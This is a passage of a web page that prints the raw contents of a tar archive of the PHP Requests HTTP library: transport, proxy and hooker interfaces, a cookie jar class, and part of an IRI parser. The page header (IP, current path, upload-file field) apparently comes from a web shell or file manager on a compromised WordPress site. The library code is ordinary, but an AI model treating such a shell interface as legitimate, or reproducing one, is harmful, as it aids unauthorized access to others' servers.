Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/Requests.tar

Transport.php000066600000002304151114300000007235 0ustar00<?php
/**
 * Base HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */

/**
 * Base HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */
interface Requests_Transport {
	/**
	 * Perform a request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = array(), $data = array(), $options = array());

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request}
	 * @param array $options Global options, see {@see Requests::response()} for documentation
	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
	 */
	public function request_multiple($requests, $options);

	/**
	 * Self-test whether the transport can be used
	 * @return bool
	 */
	public static function test();
}Proxy.php000066600000001455151114300000006370 0ustar00<?php
/**
 * Proxy connection interface
 *
 * @package Requests
 * @subpackage Proxy
 * @since 1.6
 */

/**
 * Proxy connection interface
 *
 * Implement this interface to handle proxy settings and authentication
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see Requests_Hooks
 * @package Requests
 * @subpackage Proxy
 * @since 1.6
 */
interface Requests_Proxy {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see Requests::request} when the user has set
	 * an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see Requests_Hooks::register
	 * @param Requests_Hooks $hooks Hook system
	 */
	public function register(Requests_Hooks &$hooks);
}Cookie/Jar.php000066600000007352151114300000007176 0ustar00<?php
/**
 * Cookie holder object
 *
 * @package Requests
 * @subpackage Cookies
 */

/**
 * Cookie holder object
 *
 * @package Requests
 * @subpackage Cookies
 */
class Requests_Cookie_Jar implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $cookies = array();

	/**
	 * Create a new jar
	 *
	 * @param array $cookies Existing cookie values
	 */
	public function __construct($cookies = array()) {
		$this->cookies = $cookies;
	}

	/**
	 * Normalise cookie data into a Requests_Cookie
	 *
	 * @param string|Requests_Cookie $cookie
	 * @return Requests_Cookie
	 */
	public function normalize_cookie($cookie, $key = null) {
		if ($cookie instanceof Requests_Cookie) {
			return $cookie;
		}

		return Requests_Cookie::parse($cookie, $key);
	}

	/**
	 * Normalise cookie data into a Requests_Cookie
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see Requests_Cookie_Jar::normalize_cookie}
	 * @return Requests_Cookie
	 */
	public function normalizeCookie($cookie, $key = null) {
		return $this->normalize_cookie($cookie, $key);
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $key Item key
	 * @return boolean Does the item exist?
	 */
	public function offsetExists($key) {
		return isset($this->cookies[$key]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $key Item key
	 * @return string Item value
	 */
	public function offsetGet($key) {
		if (!isset($this->cookies[$key])) {
			return null;
		}

		return $this->cookies[$key];
	}

	/**
	 * Set the given item
	 *
	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
	 *
	 * @param string $key Item name
	 * @param string $value Item value
	 */
	public function offsetSet($key, $value) {
		if ($key === null) {
			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$this->cookies[$key] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $key
	 */
	public function offsetUnset($key) {
		unset($this->cookies[$key]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return ArrayIterator
	 */
	public function getIterator() {
		return new ArrayIterator($this->cookies);
	}

	/**
	 * Register the cookie handler with the request's hooking system
	 *
	 * @param Requests_Hooker $hooks Hooking system
	 */
	public function register(Requests_Hooker $hooks) {
		$hooks->register('requests.before_request', array($this, 'before_request'));
		$hooks->register('requests.before_redirect_check', array($this, 'before_redirect_check'));
	}

	/**
	 * Add Cookie header to a request if we have any
	 *
	 * As per RFC 6265, cookies are separated by '; '
	 *
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param string $type
	 * @param array $options
	 */
	public function before_request($url, &$headers, &$data, &$type, &$options) {
		if (!$url instanceof Requests_IRI) {
			$url = new Requests_IRI($url);
		}

		if (!empty($this->cookies)) {
			$cookies = array();
			foreach ($this->cookies as $key => $cookie) {
				$cookie = $this->normalize_cookie($cookie, $key);

				// Skip expired cookies
				if ($cookie->is_expired()) {
					continue;
				}

				if ($cookie->domain_matches($url->host)) {
					$cookies[] = $cookie->format_for_header();
				}
			}

			$headers['Cookie'] = implode('; ', $cookies);
		}
	}

	/**
	 * Parse all cookies from a response and attach them to the response
	 *
	 * @var Requests_Response $response
	 */
	public function before_redirect_check(Requests_Response &$return) {
		$url = $return->url;
		if (!$url instanceof Requests_IRI) {
			$url = new Requests_IRI($url);
		}

		$cookies = Requests_Cookie::parse_from_headers($return->headers, $url);
		$this->cookies = array_merge($this->cookies, $cookies);
		$return->cookies = $this;
	}
}Hooker.php000066600000001304151114300000006467 0ustar00<?php
/**
 * Event dispatcher
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Event dispatcher
 *
 * @package Requests
 * @subpackage Utilities
 */
interface Requests_Hooker {
	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callback $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0);

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = array());
}IRI.php000066600000070546151114300000005701 0ustar00<?php
/**
 * IRI parser/serialiser/normaliser
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * IRI parser/serialiser/normaliser
 *
 * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *       this list of conditions and the following disclaimer.
 *
 *  * Redistributions in binary form must reproduce the above copyright notice,
 *       this list of conditions and the following disclaimer in the documentation
 *       and/or other materials provided with the distribution.
 *
 *  * Neither the name of the SimplePie Team nor the names of its contributors
 *       may be used to endorse or promote products derived from this software
 *       without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Requests
 * @subpackage Utilities
 * @author Geoffrey Sneddon
 * @author Steve Minutillo
 * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://hg.gsnedders.com/iri/
 *
 * @property string $iri IRI we're working with
 * @property-read string $uri IRI in URI form, {@see to_uri}
 * @property string $scheme Scheme part of the IRI
 * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
 * @property string $iauthority Authority part of the IRI (userinfo + host + port)
 * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
 * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
 * @property string $host Host part, formatted for a URI
 * @property string $ihost Host part of the IRI
 * @property string $port Port part of the IRI (after ':')
 * @property string $path Path part, formatted for a URI (after first '/')
 * @property string $ipath Path part of the IRI (after first '/')
 * @property string $query Query part, formatted for a URI (after '?')
 * @property string $iquery Query part of the IRI (after '?')
 * @property string $fragment Fragment, formatted for a URI (after '#')
 * @property string $ifragment Fragment part of the IRI (after '#')
 */
class Requests_IRI {
	/**
	 * Scheme
	 *
	 * @var string
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string
	 */
	protected $iquery = null;

	/**
	 * ifragment
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => 674
		),
		'dict' => array(
			'port' => 2628
		),
		'file' => array(
			'ihost' => 'localhost'
		),
		'http' => array(
			'port' => 80,
		),
		'https' => array(
			'port' => 443,
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		) {
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name) {
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		) {
			$method = 'get_' . $name;
			$return = $this->$method();
		}
		elseif (array_key_exists($name, $props)) {
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		else {
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
			return $this->normalization[$this->scheme][$name];
		}
		else {
			return $return;
		}
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name) {
		return (method_exists($this, 'get_' . $name) || isset($this->$name));
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string|null $iri
	 */
	public function __construct($iri = null) {
		$this->set_iri($iri);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param IRI|string $base (Absolute) Base IRI
	 * @param IRI|string $relative Relative IRI
	 * @return IRI|false
	 */
	public static function absolutize($base, $relative) {
		if (!($relative instanceof Requests_IRI)) {
			$relative = new Requests_IRI($relative);
		}
		if (!$relative->is_valid()) {
			return false;
		}
		elseif ($relative->scheme !== null) {
			return clone $relative;
		}

		if (!($base instanceof Requests_IRI)) {
			$base = new Requests_IRI($base);
		}
		if ($base->scheme === null || !$base->is_valid()) {
			return false;
		}

		if ($relative->get_iri() !== '') {
			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
				$target = clone $relative;
				$target->scheme = $base->scheme;
			}
			else {
				$target = new Requests_IRI;
				$target->scheme = $base->scheme;
				$target->iuserinfo = $base->iuserinfo;
				$target->ihost = $base->ihost;
				$target->port = $base->port;
				if ($relative->ipath !== '') {
					if ($relative->ipath[0] === '/') {
						$target->ipath = $relative->ipath;
					}
					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
						$target->ipath = '/' . $relative->ipath;
					}
					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
					}
					else {
						$target->ipath = $relative->ipath;
					}
					$target->ipath = $target->remove_dot_segments($target->ipath);
					$target->iquery = $relative->iquery;
				}
				else {
					$target->ipath = $base->ipath;
					if ($relative->iquery !== null) {
						$target->iquery = $relative->iquery;
					}
					elseif ($base->iquery !== null) {
						$target->iquery = $base->iquery;
					}
				}
				$target->ifragment = $relative->ifragment;
			}
		}
		else {
			$target = clone $base;
			$target->ifragment = null;
		}
		$target->scheme_normalization();
		return $target;
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri) {
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
		if (!$has_match) {
			throw new Requests_Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
		}

		if ($match[1] === '') {
			$match['scheme'] = null;
		}
		if (!isset($match[3]) || $match[3] === '') {
			$match['authority'] = null;
		}
		if (!isset($match[5])) {
			$match['path'] = '';
		}
		if (!isset($match[6]) || $match[6] === '') {
			$match['query'] = null;
		}
		if (!isset($match[8]) || $match[8] === '') {
			$match['fragment'] = null;
		}
		return $match;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input) {
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
			// A: If the input buffer begins with a prefix of "../" or "./",
			// then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0) {
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0) {
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.",
			// where "." is a complete path segment, then replace that prefix
			// with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0) {
				$input = substr($input, 2);
			}
			elseif ($input === '/.') {
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..",
			// where ".." is a complete path segment, then replace that prefix
			// with "/" in the input buffer and remove the last segment and its
			// preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0) {
				$input = substr($input, 3);
				$output = substr_replace($output, '', strrpos($output, '/'));
			}
			elseif ($input === '/..') {
				$input = '/';
				$output = substr_replace($output, '', strrpos($output, '/'));
			}
			// D: if the input buffer consists only of "." or "..", then remove
			// that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..') {
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of
			// the output buffer, including the initial "/" character (if any)
			// and any subsequent characters up to, but not including, the next
			// "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false) {
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else {
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $string Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) {
		// Normalize as many pct-encoded sections as possible
		$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array(&$this, 'remove_iunreserved_percent_encoded'), $string);

		// Replace invalid percent characters
		$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($string);
		while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
			$value = ord($string[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining) {
				if ($position + $length <= $strlen) {
					for ($position++; $remaining; $position++) {
						$value = ord($string[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80) {
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else {
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else {
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			) {
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid) {
					$position--;
				}

				for ($j = $start; $j <= $position; $j++) {
					$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $string;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($match) {
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining) {
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F) {
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0) {
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0) {
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0) {
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else {
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else {
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80) {
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else {
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining) {
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
				) {
					for ($j = $start; $j <= $i; $j++) {
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else {
					for ($j = $start; $j <= $i; $j++) {
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining) {
			for ($j = $start; $j < $len; $j++) {
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization() {
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
			$this->ipath = '';
		}
		if (isset($this->ihost) && empty($this->ipath)) {
			$this->ipath = '/';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid() {
		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
		if ($this->ipath !== '' &&
			(
				$isauthority && $this->ipath[0] !== '/' ||
				(
					$this->scheme === null &&
					!$isauthority &&
					strpos($this->ipath, ':') !== false &&
					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
				)
			)
		) {
			return false;
		}

		return true;
	}

	public function __wakeup() {
		$class_props = get_class_vars( __CLASS__ );
		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
		$array_props = array( 'normalization' );
		foreach ( $class_props as $prop => $default_value ) {
			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
				throw new UnexpectedValueException();
			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
				throw new UnexpectedValueException();
			}
			$this->$prop = null;
		}
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	protected function set_iri($iri) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($iri === null) {
			return true;
		}
		if (isset($cache[$iri])) {
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri((string) $iri);

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	protected function set_scheme($scheme) {
		if ($scheme === null) {
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
			$this->scheme = null;
			return false;
		}
		else {
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	protected function set_authority($authority) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($authority === null) {
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		if (isset($cache[$authority])) {
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else {
			$iuserinfo = null;
		}
		if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) {
			$port = substr($remaining, $port_start + 1);
			if ($port === false || $port === '') {
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else {
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	protected function set_userinfo($iuserinfo) {
		if ($iuserinfo === null) {
			$this->iuserinfo = null;
		}
		else {
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	protected function set_host($ihost) {
		if ($ihost === null) {
			$this->ihost = null;
			return true;
		}
		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
			if (Requests_IPv6::check_ipv6(substr($ihost, 1, -1))) {
				$this->ihost = '[' . Requests_IPv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else {
				$this->ihost = null;
				return false;
			}
		}
		else {
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
				if ($ihost[$position] === '%') {
					$position += 3;
				}
				else {
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	protected function set_port($port) {
		if ($port === null) {
			$this->port = null;
			return true;
		}

		if (strspn($port, '0123456789') === strlen($port)) {
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	protected function set_path($ipath) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath])) {
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else {
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
		}
		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	protected function set_query($iquery) {
		if ($iquery === null) {
			$this->iquery = null;
		}
		else {
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	protected function set_fragment($ifragment) {
		if ($ifragment === null) {
			$this->ifragment = null;
		}
		else {
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @param string|bool IRI to convert (or false from {@see get_iri})
